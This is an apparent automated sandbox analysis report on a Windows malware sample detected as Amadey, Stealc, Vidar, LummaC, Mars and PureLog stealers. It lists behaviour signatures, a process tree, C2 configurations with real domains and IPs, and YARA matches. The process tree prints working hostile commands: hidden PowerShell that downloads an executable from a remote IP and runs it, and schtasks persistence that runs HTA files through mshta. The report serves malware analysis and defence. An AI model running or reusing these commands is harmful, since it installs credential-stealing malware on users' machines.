Edit tour

Windows Analysis Report
M6gQuZPvgY.exe

Overview

General Information

Sample name:	M6gQuZPvgY.exe renamed because original name is a hash value
Original sample name:	d9f00ea479721f7581810bda98dca097.exe
Analysis ID:	1639961
MD5:	d9f00ea479721f7581810bda98dca097
SHA1:	0b438eab56eb426d68bdeb2bd7c6f69af19daca6
SHA256:	53e550919e4087a4a81da0a462925b7772fa2ddd870e6036a2069347631214e1
Tags:	exeuser-abuse_ch
Infos:

Detection

Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (creates a PE file in dynamic memory)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Powershell download and execute file

Yara detected Amadey

Yara detected Amadeys Clipper DLL

Yara detected LummaC Stealer

Yara detected Mars stealer

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected Stealc

Yara detected Vidar stealer

Yara detected obfuscated html page

.NET source code contains method to dynamically call methods (often used by packers)

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Contains functionality to detect sleep reduction / modifications

Contains functionality to inject code into remote processes

Contains functionality to start a terminal service

Creates HTA files

Creates multiple autostart registry keys

Found API chain indicative of sandbox detection

Found evasive API chain (may stop execution after checking computer name)

Found evasive API chain (may stop execution after checking locale)

Found evasive API chain (may stop execution after checking mutex)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

PE file contains section with special chars

PE file has a writeable .text section

PE file has nameless sections

Potentially malicious time measurement code found

Powershell drops PE file

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: PowerShell DownloadFile

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to download and execute files (via powershell)

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Potential key logger detected (key state polling based)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

M6gQuZPvgY.exe (PID: 2112 cmdline: "C:\Users\user\Desktop\M6gQuZPvgY.exe" MD5: D9F00EA479721F7581810BDA98DCA097)

rapes.exe (PID: 1972 cmdline: "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe" MD5: D9F00EA479721F7581810BDA98DCA097)

rapes.exe (PID: 5424 cmdline: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe MD5: D9F00EA479721F7581810BDA98DCA097)

rapes.exe (PID: 7596 cmdline: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe MD5: D9F00EA479721F7581810BDA98DCA097)

amnew.exe (PID: 5800 cmdline: "C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe" MD5: 22892B8303FA56F4B584A04C09D508D8)

futors.exe (PID: 3456 cmdline: "C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe" MD5: 22892B8303FA56F4B584A04C09D508D8)

trano1221.exe (PID: 7824 cmdline: "C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe" MD5: F70D82388840543CAD588967897E5802)

trano1221.exe (PID: 2064 cmdline: "C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe" MD5: F70D82388840543CAD588967897E5802)

cronikxqqq.exe (PID: 4780 cmdline: "C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe" MD5: AB09D0DB97F3518A25CD4E6290862DA7)

cronikxqqq.exe (PID: 5388 cmdline: "C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe" MD5: AB09D0DB97F3518A25CD4E6290862DA7)

WerFault.exe (PID: 5412 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4780 -s 888 MD5: C31336C1EFC2CCB44B4326EA793040F2)

UD49QH6.exe (PID: 6024 cmdline: "C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe" MD5: 65982D78F4862DD0FAAF93D7BEF348EC)

m0wsoI3.exe (PID: 5132 cmdline: "C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe" MD5: 599E5D1EEA684EF40FC206F71B5D4643)

cmd.exe (PID: 5888 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 6872 cmdline: timeout /t 5 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

8e933e9d51.exe (PID: 7232 cmdline: "C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe" MD5: F043914DC1106C2CE233F6FA23AE2C9F)

cmd.exe (PID: 7248 cmdline: C:\Windows\system32\cmd.exe /c schtasks /create /tn D966dmaFhpu /tr "mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta" /sc minute /mo 25 /ru "user" /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7392 cmdline: schtasks /create /tn D966dmaFhpu /tr "mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta" /sc minute /mo 25 /ru "user" /f MD5: 48C2FE20575769DE916F48EF0676A965)

mshta.exe (PID: 7256 cmdline: mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta MD5: 06B02D5C097C7DB1F109749C45F3F505)

powershell.exe (PID: 2520 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE (PID: 4908 cmdline: "C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE" MD5: D9F00EA479721F7581810BDA98DCA097)

cmd.exe (PID: 4232 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\10235700121\am_no.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 5144 cmdline: timeout /t 2 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cmd.exe (PID: 5232 cmdline: C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 1812 cmdline: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 2880 cmdline: C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 1568 cmdline: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 7516 cmdline: C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 2360 cmdline: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

schtasks.exe (PID: 2196 cmdline: schtasks /create /tn "F80nHmaMuIn" /tr "mshta \"C:\Temp\J9hHfTRUK.hta\"" /sc minute /mo 25 /ru "user" /f MD5: 48C2FE20575769DE916F48EF0676A965)

mshta.exe (PID: 2460 cmdline: mshta "C:\Temp\J9hHfTRUK.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

powershell.exe (PID: 3204 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

c1f0508103.exe (PID: 3032 cmdline: "C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe" MD5: D5D7ED1F1BFE9A359ED87B37C22E3D59)

futors.exe (PID: 5404 cmdline: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe MD5: 22892B8303FA56F4B584A04C09D508D8)

mshta.exe (PID: 5916 cmdline: C:\Windows\system32\mshta.EXE C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 8000 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d; MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 3564 cmdline: C:\Windows\system32\mshta.EXE "C:\Temp\J9hHfTRUK.hta" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

8e933e9d51.exe (PID: 668 cmdline: "C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe" MD5: F043914DC1106C2CE233F6FA23AE2C9F)

cmd.exe (PID: 4524 cmdline: C:\Windows\system32\cmd.exe /c schtasks /create /tn pmi96maNnhC /tr "mshta C:\Users\user\AppData\Local\Temp\8kUU4r0rO.hta" /sc minute /mo 25 /ru "user" /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6220 cmdline: schtasks /create /tn pmi96maNnhC /tr "mshta C:\Users\user\AppData\Local\Temp\8kUU4r0rO.hta" /sc minute /mo 25 /ru "user" /f MD5: 48C2FE20575769DE916F48EF0676A965)

mshta.exe (PID: 4548 cmdline: mshta C:\Users\user\AppData\Local\Temp\8kUU4r0rO.hta MD5: 06B02D5C097C7DB1F109749C45F3F505)

powershell.exe (PID: 6248 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'LFGBUS0KLVO2BZEOKEK9O00ZZUDBS8RY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 7500 cmdline: MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.lexfo.fr/StealC_malware_analysis_part1.html https://blog.lexfo.fr/StealC_malware_analysis_part2.html https://blog.lexfo.fr/StealC_malware_analysis_part3.html https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: LummaC

{"C2 url": ["codxefusion.top", "hardswarehub.today", "gadgethgfub.icu", "hardrwarehaven.run", "techmindzs.live", "quietswtreams.life", "techspherxe.top"], "Build id": "CRON--@CRONLOGS"}

Threatname: Mars Stealer

{"C2 url": "ctrlgem.xyz/gate.php"}

Threatname: Amadey

{"C2 url": "176.113.115.6/Ni9kiput/index.php", "Version": "5.21", "Install Folder": "bb556cff4a", "Install File": "rapes.exe"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\m0wsoI3[1].exe	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\amnew[1].exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\cronikxqqq[1].exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta	JoeSecurity_Obshtml	Yara detected obfuscated html page	Joe Security
C:\Temp\J9hHfTRUK.hta	JoeSecurity_Obshtml	Yara detected obfuscated html page	Joe Security
C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\8kUU4r0rO.hta	JoeSecurity_Obshtml	Yara detected obfuscated html page	Joe Security
C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Vidar_114258d5	unknown	unknown	0xcc38:$a2: wallet.dat 0xd558:$b1: CC\%s_%s.txt 0xdb60:$b2: History\%s_%s.txt 0xd880:$b3: Autofill\%s_%s.txt
00000031.00000002.1772447973.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000011.00000002.1518189012.000000000043C000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000030.00000002.1789794863.0000000003C89000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000030.00000002.1789794863.0000000003C89000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000011.00000000.1442265227.000000000043C000.00000080.00000001.01000000.0000000E.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000006.00000003.5645957689.0000000000B1A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000010.00000003.1467013696.0000000001337000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000030.00000000.1635997111.0000000000872000.00000002.00000001.01000000.00000022.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000011.00000002.1518022147.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000011.00000002.1518022147.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000011.00000002.1518022147.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000002.1518022147.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	Windows_Trojan_ArkeiStealer_84c7086a	unknown	unknown	0x4520:$a: 01 89 55 F4 8B 45 F4 3B 45 10 73 31 8B 4D 08 03 4D F4 0F BE 19 8B
00000003.00000002.1046270812.0000000000241000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000022.00000002.1634294018.0000000000171000.00000040.00000001.01000000.00000018.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000002.00000002.1039110891.0000000000241000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
Process Memory Space: UD49QH6.exe PID: 6024	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: UD49QH6.exe PID: 6024	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: m0wsoI3.exe PID: 5132	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: m0wsoI3.exe PID: 5132	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: m0wsoI3.exe PID: 5132	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x2dcda:$a2: wallet.dat 0x2e32c:$b1: CC\%s_%s.txt 0x2e842:$b2: History\%s_%s.txt 0x2e4ec:$b3: Autofill\%s_%s.txt
Process Memory Space: mshta.exe PID: 7256	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 2520	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: mshta.exe PID: 5916	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 8000	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
decrypted.memstr	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x47cc:$a2: wallet.dat 0x47fb:$a2: wallet.dat 0x9122:$b1: CC\%s_%s.txt 0x9151:$b1: CC\%s_%s.txt 0x93b2:$b2: History\%s_%s.txt 0x93e6:$b2: History\%s_%s.txt 0x9032:$b3: Autofill\%s_%s.txt 0x9067:$b3: Autofill\%s_%s.txt
decrypted.memstr	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
decrypted.memstr	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x47cc:$a2: wallet.dat 0x47fb:$a2: wallet.dat 0x13120:$a2: wallet.dat 0x9122:$b1: CC\%s_%s.txt 0x9151:$b1: CC\%s_%s.txt 0x154e9:$b1: CC\%s_%s.txt 0x93b2:$b2: History\%s_%s.txt 0x93e6:$b2: History\%s_%s.txt 0x15631:$b2: History\%s_%s.txt 0x9032:$b3: Autofill\%s_%s.txt 0x9067:$b3: Autofill\%s_%s.txt 0x15471:$b3: Autofill\%s_%s.txt
Click to see the 32 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
48.2.cronikxqqq.exe.3c89550.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
48.0.cronikxqqq.exe.870000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.m0wsoI3.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
17.2.m0wsoI3.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
17.2.m0wsoI3.exe.400000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
17.2.m0wsoI3.exe.400000.0.unpack	Windows_Trojan_ArkeiStealer_84c7086a	unknown	unknown	0x4920:$a: 01 89 55 F4 8B 45 F4 3B 45 10 73 31 8B 4D 08 03 4D F4 0F BE 19 8B
17.2.m0wsoI3.exe.400000.0.unpack	infostealer_win_mars_stealer_xor_routine	Detect Mars Stealer based on a specific XOR routine	Sekoia.io	0x492c:$xor: 8B 4D 08 03 4D F4 0F BE 19 8B 55 0C 52 E8 C2 FE 00 00 83 C4 04 8B C8 8B 45 F4 33 D2 F7 F1 8B 45 0C 0F BE 0C 10 33 D9 8B 55 F8 03 55 F4 88 1A EB BE
14.2.futors.exe.3e0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
13.0.amnew.exe.940000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
14.0.futors.exe.3e0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
17.0.m0wsoI3.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
48.2.cronikxqqq.exe.3c89550.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
48.2.cronikxqqq.exe.3c89550.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
49.2.cronikxqqq.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
34.2.TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE.170000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
15.0.futors.exe.3e0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
49.2.cronikxqqq.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
13.2.amnew.exe.940000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
3.2.rapes.exe.240000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
0.2.M6gQuZPvgY.exe.200000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
2.2.rapes.exe.240000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
Click to see the 16 entries

Other

Source	Rule	Description	Author
amsi32_2520.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_8000.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_3204.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_6248.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

